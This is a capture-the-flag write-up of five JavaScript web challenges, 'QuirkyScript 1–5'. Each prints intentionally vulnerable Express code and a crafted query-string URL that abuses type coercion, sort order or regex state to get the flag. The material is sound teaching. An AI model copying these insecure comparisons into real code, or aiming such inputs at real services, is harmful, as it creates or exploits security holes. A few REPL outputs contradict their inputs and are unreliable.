Table of Contents
I did not participate in this competition, but I was asked by the organisers to take a look at the challenges.
Here are my analysis and solutions for 5 web challenges which I thought were rather interesting.
Enjoy!
QuirkyScript 1
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()
app.get('/flag', function (req, res) {
if (req.query.first) {
if (req.query.first.length == 8 && req.query.first == ",,,,,,,") {
res.send(flag.flag);
return;
}
}
res.send("Try to solve this.");
});
app.listen(31337)
Analysis
Observe that in the source code provided, loose equality comparison (==
) is used instead of strict equality comparison (===
).
Loose equality compares two values for equality after converting both operands to a common type. When in doubt, refer to the documentation on equality comparisons and sameness!
Let’s look at the comparison req.query.first == ",,,,,,,"
:
- If
req.query.first
is aString
– no type conversion is performed as both operands are of a common type. - If
req.query.first
is anObject
– type conversion is performed onreq.query.first
toString
by invokingreq.query.first.toString()
before comparing both operands.
In Express, req.query
is an object containing the parsed query string parameters – so req.query.first
can either be a string (?first=
) or an array (?first[]=
).
In JavaScript, an arrray is a list-like Object
. Furthermore, Array.toString()
returns a string representation of the array values, concatenating each array element separated by commas, as shown below:
> ['a'].toString()
a
> ['a','b'].toString()
a,b
Solution
As such, we can set req.query.first
as an array with length 8
containing only empty strings to make the string representation return ,,,,,,,
to satisfy both conditions:
> console.log(['','','','','','','',''].toString())
,,,,,,,
This can be achieved by supplying eight first[]
query string parameters:
http://ctf.pwn.sg:8081/flag?first[]&first[]&first[]&first[]&first[]&first[]&first[]&first[]
Flag: CrossCTF{C0mm4s_4ll_th3_w4y_t0_th3_fl4g}
QuirkyScript 2
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()
app.get('/flag', function (req, res) {
if (req.query.second) {
if (req.query.second != "1" && req.query.second.length == 10 && req.query.second == true) {
res.send(flag.flag);
return;
}
}
res.send("Try to solve this.");
});
app.listen(31337)
Analysis
Similar to QuirkyScript 1, req.query.second
can either be a string or an array. Observe that loose equality comparison is done in req.query.second == true
, so if req.query.second
is a string, both operands are converted to numbers before comparing both values.
Note: The behavior of the type conversion to number is equivalent to the unary +
operator (e.g. +"1"
):
> true == +true == 1
true
> "1" == +"1" == 1 == true
true
One thing to note about such type conversions is that the parsing of value is performed quite leniently to avoid returning errors for minor issues detected:
> +" 1 "
1
> +" 00001"
1
Solution
Since req.query.second != "1"
performs string comparison without type conversions, we can obtain the flag by supplying a truthy value with 10 characters in second
query string parameter:
http://ctf.pwn.sg:8082/flag?second=0000000001
Flag: CrossCTF{M4ny_w4ys_t0_mak3_4_numb3r}
QuirkyScript 3
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var flag = require("./flag.js");
var express = require('express')
var app = express()
app.get('/flag', function (req, res) {
if (req.query.third) {
if (Array.isArray(req.query.third)) {
third = req.query.third;
third_sorted = req.query.third.sort();
if (Number.parseInt(third[0]) > Number.parseInt(third[1]) && third_sorted[0] == third[0] && third_sorted[1] == third[1]) {
res.send(flag.flag);
return;
}
}
}
res.send("Try to solve this.");
});
app.listen(31337)
Analysis
Observe that req.query.third.sort()
is invoked above, so req.query.third
has to be an array since string does not have a sort()
prototype method.
The following conditions need to be satisfied to obtain the flag:
-
Number.parseInt(third[0]) > Number.parseInt(third[1])
– first element must be larger than the second element after converting both elements to numbers -
third_sorted[0] == third[0]
andthird_sorted[1] == third[1]
– the elements inthird
must retain the same order even after being sorted
As pointed out in the documentation, if no custom comparition function is supplied to Array.prototype.sort()
, all non-undefined
array elements are sorted by (1) converting them to strings and (2) comparing string comparisons in UTF-16 code point order.
Such lexical sorting differs from numeric sorting. For example, 10
comes before “2” when sorting based on their UTF-16 code point:
> third = ["10", "1a"]
["10", "2"]
> third_sorted = third.sort()
["10", "2"]
> Number.parseInt(third[0])
10
> Number.parseInt(third[1])
1
> Number.parseInt(third[0]) > Number.parseInt(third[1])
true
> third_sorted[0] == third[0] && third_sorted[1] == third[1]
true
Solution
To obtain the flag, we can set third
query string parameter as an array with 10
as first element and 2
as second element:
http://ctf.pwn.sg:8083/flag?third[0]=10&third[]=2
Flag: CrossCTF{th4t_r0ck3t_1s_hug3}
QuirkyScript 4
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()
app.get('/flag', function (req, res) {
if (req.query.fourth) {
if (req.query.fourth == 1 && req.query.fourth.indexOf("1") == -1) {
res.send(flag.flag);
return;
}
}
res.send("Try to solve this.");
});
app.listen(31337)
Analysis
If req.query.fourth
is a string containing a truthy value, it is not possible to satisfy the req.query.fourth.indexOf("1") == -1
condition.
Let’s look at what we can do if req.query.fourth
is an array instead. Type conversion happens on req.query.fourth
in req.query.fourth == 1
before comparing the operands:
> +([""].toString())
0
> ["1"] == +(["1"].toString()) == 1
true
Since Array.prototype.indexOf(element)
returns the index of the first matching element in the array, or -1
if it does not exist, we can satisfy req.query.fourth.indexOf("1") == -1
if the string "1"
is not in the array.
Solution 1
One possible solution is to leverage the relaxed parsing of integer values from strings as discussed in QuirkyScript 2:
> ["01"] == +(["01"].toString()) == 1
true
> ["01"].indexOf("1") == -1
true
Visiting http://ctf.pwn.sg:8084/flag?fourth[]=01
gives the flag.
Solution 2
Another possible solution is to use a nested array:
> [["1"]] == [["1"].toString()].toString() == 1
true
> [["1"]].indexOf("1") == -1
true
Visiting http://ctf.pwn.sg:8084/flag?fourth[][]=1
gives the flag.
Flag: CrossCTF{1m_g0ing_hungry}
QuirkyScript 5
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var flag = require("./flag.js");
var express = require('express')
var app = express()
app.get('/flag', function (req, res) {
var re = new RegExp('^I_AM_ELEET_HAX0R$', 'g');
if (re.test(req.query.fifth)) {
if (req.query.fifth === req.query.six && !re.test(req.query.six)) {
res.send(flag.flag);
}
}
res.send("Try to solve this.");
});
app.listen(31337)
Analysis
Referring to the documentation for RegExp.prototype.test()
, an interesting behaviour of regular expressions with g
(global) flag set is noted:
test()
will advance thelastIndex
of the regex.- Further calls to
test(str)
will resume searchingstr
starting fromlastIndex
.- The
lastIndex
property will continue to increase each timetest()
returnstrue
.Note: As long as
test()
returns true,lastIndex
will not reset—even when testing a different string!
Solution
After the call to re.test(req.query.fifth)
, re.lastIndex
is no longer 0
if req.query.fifth
is set to I_AM_ELEET_HAX0R
.
By setting req.query.six
to I_AM_ELEET_HAX0R
, we can make re.test(req.query.six)
return false
:
> re = new RegExp('^I_AM_ELEET_HAX0R$', 'g')
/^I_AM_ELEET_HAX0R$/g
> re.lastIndex
0
> re.test("I_AM_ELEET_HAX0R")
true
> re.lastIndex
16
> "I_AM_ELEET_HAX0R" === "I_AM_ELEET_HAX0R"
true
> !re.test("I_AM_ELEET_HAX0R")
false
> re.lastIndex
0
As such, visiting the URL below gives the flag:
http://ctf.pwn.sg:8085/flag?fifth=I_AM_ELEET_HAX0R&six=I_AM_ELEET_HAX0R
Flag: CrossCTF{1_am_n1k0las_ray_zhizihizhao}